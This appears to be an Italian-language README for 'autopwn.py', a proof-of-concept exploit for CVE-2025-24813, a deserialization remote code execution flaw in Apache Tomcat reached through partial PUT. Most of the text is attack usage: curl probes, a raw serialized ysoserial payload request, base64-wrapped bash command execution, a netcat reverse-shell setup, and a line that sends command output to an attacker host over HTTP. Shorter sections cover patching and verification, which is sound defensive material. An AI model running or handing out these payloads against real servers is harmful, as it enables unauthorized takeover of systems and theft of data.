PoC Python che sfrutta CVE-2025-24813, una RCE da deserializzazione tramite PUT parziale in Apache Tomcat. Rileva automaticamente le varianti vulnerabili, supporta l'esecuzione di comandi in modalità blind e reverse shell.
Gravità: Critica (CVSS 9.8) Autenticazione richiesta: Nessuna Interessati: Apache Tomcat 9.0.0.M1 – 9.0.98 / 10.1.0-M1 – 10.1.34 / 11.0.0-M1 – 11.0.2 Corretto in: Tomcat 9.0.99 / 10.1.35 / 11.0.3
Apache Tomcat supporta il partial PUT (upload a chunk tramite Content-Range).
Quando arriva un partial PUT, Tomcat memorizza temporaneamente il corpo in un file temporaneo sotto:
$CATALINA_HOME/work/…/<url-path-filename>
Se l'applicazione è configurata con PersistentManager + FileStore in context.xml,
Tomcat legge automaticamente i file *.session dalla stessa directory di lavoro e li
per ripristinare le sessioni.
Combinando questi due comportamenti:
PUT /<sid>.session → scrive il payload serializzato Java in work/<sid>.session
GET / Cookie: JSESSIONID=.<sid> → Tomcat carica e deserializza il file → RCE
Il punto iniziale (.) nel valore del cookie attiva la ricerca della sessione con percorso assoluto
(variante B), che è il percorso che raggiunge in modo affidabile il file memorizzato.
Questo PoC utilizza CommonsCollections6 di ysoserial,
che funziona su Java 8–17 senza flag @jdk.internal e non dipende da
sun.reflect.SerializationConstructorAccessorImpl.
ObjectInputStream.readObject()
└─ HashSet.readObject()
└─ TiedMapEntry.hashCode()
└─ LazyMap.get()
└─ ChainedTransformer.transform()
└─ InvokerTransformer → Runtime.exec(command)
curl -sI http://target:9090/ | grep -i server
# Look for: Apache-Coyote/1.1 or Apache Tomcat
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# 201 Created = partial PUT abilitato (prerequisito di vulnerabilità soddisfatto)
# 403/405 = partial PUT disabilitato (non vulnerabile tramite questo percorso)
python3 autopwn.py http://target:9090 --command "id"
# Vulnerabile → una riga mostra GET=500 + "<<<< 500 = FIRED!"
# Non vuln → tutte le righe mostrano GET=200, nessun 500
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=pwn1 [A(no-dot)] GET=200
[*] path=/{sid}.session PUT=201 cookie=JSESSIONID=.pwn2 [B(dot-prefix)] GET=500 <<<< 500 = FIRED!
[*] path=/uploads/../sessions/{sid}.session PUT=409 cookie=JSESSIONID=pwn3 [A(no-dot)] GET=200
...
[+] Target is VULNERABLE! Winning variant: B(dot-prefix)
upload path : /{sid}.session
trigger : Cookie: JSESSIONID=.pwn2
| Stato | Significato |
|---|---|
| PUT 201 | File memorizzato nella work dir di Tomcat |
| PUT 409 | Percorso bloccato (traversal rifiutato) |
| GET 200 | Sessione non trovata / non deserializzata |
| GET 500 | Deserializzazione attivata → RCE |
L'upload è un flusso binario serializzato Java grezzo — nessuna codifica URL. A differenza degli exploit tramite parametri di query HTTP, il payload va nel corpo della richiesta tramite PUT, quindi non c'è alcun livello di codifica URL da contrastare:
PUT /{sid}.session HTTP/1.1
Content-Type: application/octet-stream
Content-Range: bytes 0-1274/1375
\xac\xed\x00\x05\x73\x72... (raw serialized bytes — CommonsCollections6)
L'header Content-Range segnala un upload parziale; Tomcat scrive il corpo su disco
così com'è, preservando ogni byte del payload serializzato.
pip install requests
# Java runtime in PATH
# ysoserial.jar in current directory (or pass --ysoserial <path>)
python3 autopwn.py http://192.168.61.148:9090 --command "id"
# Build base64-wrapped command (avoids shell-splitting in Runtime.exec)
CMD='id > /usr/local/tomcat/webapps/ROOT/idout.txt'
B64=$(echo -n "$CMD" | base64 -w0)
python3 autopwn.py http://192.168.61.148:9090 \
--command "bash -c {echo,$B64}|{base64,-d}|bash"
# Fetch the result
curl http://192.168.61.148:9090/idout.txt
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — fire (script auto-builds the base64 revshell payload)
python3 autopwn.py http://192.168.61.148:9090 \
--revshell --lhost 192.168.61.10 --lport 4444
Lo script rileva automaticamente la variante A/B, si ferma al primo successo e stampa il percorso vincente così sai esattamente cosa ha funzionato.
positional arguments:
target Target base URL (e.g. http://192.168.61.148:9090)
options:
--command CMD Command to execute (blind mode, default: id)
--revshell Send reverse shell instead of blind command
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
--gadget GADGET ysoserial gadget chain (default: CommonsCollections6)
--ysoserial PATH Path to ysoserial jar (default: ysoserial.jar)
--sid SID Session ID prefix for upload filenames (default: pwn)
--no-ssl-verify Disable SSL certificate verification
CVE-2025-24813 è blind — Runtime.exec() esegue il comando, ma il suo stdout/stderr
viene scartato; la risposta HTTP riflette solo se la deserializzazione è riuscita (500)
o no (200).
Tre modi per ottenere l'output:
| Metodo | Come |
|---|---|
| File nella webroot | Reindirizza l'output a un file in /…/webapps/ROOT/, recuperalo via HTTP |
| Reverse shell | Flag --revshell — ottieni una shell interattiva, esegui qualsiasi comando in tempo reale |
| DNS/OOB | `curl http://attacker/$(id |
| Branch | Vulnerabile | Corretto |
|---|---|---|
| 9.x | 9.0.0.M1 – 9.0.98 | 9.0.99+ |
| 10.1.x | 10.1.0-M1 – 10.1.34 | 10.1.35+ |
| 11.x | 11.0.0-M1 – 11.0.2 | 11.0.3+ |
# Check installed version
$CATALINA_HOME/bin/catalina.sh version | grep "Server version"
In $CATALINA_HOME/conf/web.xml, trova l'init-param di DefaultServlet e imposta:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
Oppure disabilita PersistentManager in context.xml se non è necessario:
<!-- Remove or comment out: -->
<!-- <Manager className="org.apache.catalina.session.PersistentManager"> -->
<!-- <Store className="org.apache.catalina.session.FileStore"/> -->
<!-- </Manager> -->
# Partial PUT should now return 403 or 405
curl -s -o /dev/null -w "%{http_code}" \
-X PUT "http://target:9090/test.session" \
-H "Content-Range: bytes 0-9/200" \
-H "Content-Type: application/octet-stream" \
--data-binary "AAAAAAAAAA"
# Patched → 403 / 405
# Vulnerable → 201
# Re-run PoC — must not fire
python3 autopwn.py http://target:9090 --command "id"
# Patched → all GET=200, no 500
Solo per test di sicurezza autorizzati e scopi educativi.